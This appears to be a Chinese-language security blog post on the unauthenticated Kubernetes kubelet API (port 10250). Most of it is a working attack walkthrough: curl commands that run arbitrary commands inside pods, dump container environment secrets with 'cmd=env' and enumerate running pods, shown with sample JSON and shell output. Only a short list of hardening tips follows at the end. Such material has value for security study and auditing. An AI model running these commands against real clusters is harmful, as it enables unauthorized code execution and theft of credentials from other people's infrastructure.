Kubernetes kubelet API 10250端口未授权代码执行漏洞分析

本文详细分析了Kubernetes kubelet API 10250端口的未授权访问漏洞,展示了如何通过该端口执行容器内命令、获取敏感信息,并提供了完整的漏洞利用方法和防护建议。

Kubernetes: kubelet API 10250端口未授权代码执行

未授权API访问(10250端口)

大多数Kubernetes部署会对此端口进行身份验证。但仍可能因配置疏忽而暴露该端口,通过"insecure API service"选项暴露的情况仍相当常见。

任何能够访问kubelet服务端口(10250)的用户,即使没有证书,也可以在容器内执行任意命令。

命令执行路径格式

/run/%namespace%/%pod_name%/%container_name%

示例:

1
$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"

输出:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
total 12
drwxr-xr-x   13 root     root           148 Aug 26 11:31 .
drwxr-xr-x   13 root     root           148 Aug 26 11:31 ..
-rwxr-xr-x    1 root     root             0 Aug 26 11:31 .dockerenv
drwxr-xr-x    2 root     root          8192 May  5 22:22 bin
drwxr-xr-x    5 root     root           380 Aug 26 11:31 dev
drwxr-xr-x    3 root     root           135 Aug 26 11:31 etc
drwxr-xr-x    2 nobody   nogroup          6 Mar 18 16:38 home
drwxr-xr-x    2 root     root             6 Apr 23 11:17 lib
dr-xr-xr-x  353 root     root             0 Aug 26 07:14 proc
drwxr-xr-x    2 root     root             6 Mar 18 16:38 root
dr-xr-xr-x   13 root     root             0 Aug 26 15:12 sys
drwxrwxrwt    2 root     root             6 Mar 18 16:38 tmp
drwxr-xr-x    4 root     root            31 Apr 23 11:17 usr
drwxr-xr-x    5 root     root            41 Aug 26 11:31 var

获取容器使用的所有密钥(环境变量)

1
$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system//" -d "cmd=env"

获取Kubernetes工作节点上所有调度的Pod和容器列表

1
$ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool

1
$ curl --insecure https://k8s-node-1:10250/runningpods | jq

示例响应:

示例1:

1
Forbidden (user=system:anonymous, verb=create, resource=nodes, subresource=proxy)

示例2:

1
Unauthorized

示例3(成功响应):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
{
  "kind": "PodList",
  "apiVersion": "v1",
  "metadata": {},
  "items": [
    {
      "metadata": {
        "name": "kube-dns-5b8bf6c4f4-k5n2g",
        "generateName": "kube-dns-5b8bf6c4f4-",
        "namespace": "kube-system",
        "selfLink": "/api/v1/namespaces/kube-system/pods/kube-dns-5b8bf6c4f4-k5n2g",
        "uid": "63438841-e43c-11e8-a104-42010a80038e",
        "resourceVersion": "85366060",
        "creationTimestamp": "2018-11-09T16:27:44Z",
        "labels": {
          "k8s-app": "kube-dns",
          "pod-template-hash": "1646927090"
        },
        "annotations": {
          "kubernetes.io/config.seen": "2018-11-09T16:27:44.990071791Z",
          "kubernetes.io/config.source": "api",
          "scheduler.alpha.kubernetes.io/critical-pod": ""
        }
      },
      "spec": {
        "volumes": [
          {
            "name": "kube-dns-config",
            "configMap": {
              "name": "kube-dns",
              "defaultMode": 420
            }
          },
          {
            "name": "kube-dns-token-xznw5",
            "secret": {
              "secretName": "kube-dns-token-xznw5",
              "defaultMode": 420
            }
          }
        ],
        "containers": [
          {
            "name": "dnsmasq",
            "image": "gcr.io/google-containers/k8s-dns-dnsmasq-nanny-amd64:1.14.10",
            "args": [
              "-v=2",
              "-logtostderr",
              "-configDir=/etc/k8s/dns/dnsmasq-nanny",
              "-restartDnsmasq=true",
              "--",
              "-k",
              "--cache-size=1000",
              "--no-negcache",
              "--log-facility=-",
              "--server=/cluster.local/127.0.0.1#10053",
              "--server=/in-addr.arpa/127.0.0.1#10053",
              "--server=/ip6.arpa/127.0.0.1#10053"
            ],
            "ports": [
              {
                "name": "dns",
                "containerPort": 53,
                "protocol": "UDP"
              },
              {
                "name": "dns-tcp",
                "containerPort": 53,
                "protocol": "TCP"
              }
            ]
          }
        ]
      }
    }
  ]
}

构造代码执行命令

使用runningpods命令的输出信息,可以构造代码执行命令:

1
$ curl -k -XPOST "https://k8s-node-1:10250/run///" -d "cmd=env"

具体示例:

1
curl -k -XPOST "https://kube-node-here:10250/run/kube-system/kube-dns-5b8bf6c4f4-k5n2g/dnsmasq" -d "cmd=ls -la /"

输出:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
total 35264
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 .
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 ..
-rwxr-xr-x    1 root     root             0 Nov  9 16:27 .dockerenv
drwxr-xr-x    2 root     root          4096 Nov  9 16:27 bin
drwxr-xr-x    5 root     root           380 Nov  9 16:27 dev
-rwxr-xr-x    1 root     root      36047205 Apr 13  2018 dnsmasq-nanny
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 etc
drwxr-xr-x    2 root     root          4096 Jan  9  2018 home
drwxr-xr-x    5 root     root          4096 Nov  9 16:27 lib
drwxr-xr-x    5 root     root          4096 Nov  9 16:27 media
drwxr-xr-x    2 root     root          4096 Jan  9  2018 mnt
dr-xr-xr-x  125 root     root             0 Nov  9 16:27 proc
drwx------    2 root     root          4096 Jan  9  2018 root
drwxr-xr-x    2 root     root          4096 Jan  9  2018 run
drwxr-xr-x    2 root     root          4096 Nov  9 16:27 sbin
drwxr-xr-x    2 root     root          4096 Jan  9  2018 srv
dr-xr-xr-x   12 root     root             0 Nov  9 16:27 sys
drwxrwxrwt    1 root     root          4096 Nov  9 17:00 tmp
drwxr-xr-x    7 root     root          4096 Nov  9 16:27 usr
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 var

安全建议

  • 确保kubelet API端口(10250)配置适当的身份验证
  • 避免使用"insecure API service"选项
  • 定期进行安全审计和漏洞扫描
  • 实施网络策略限制对kubelet端口的访问
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计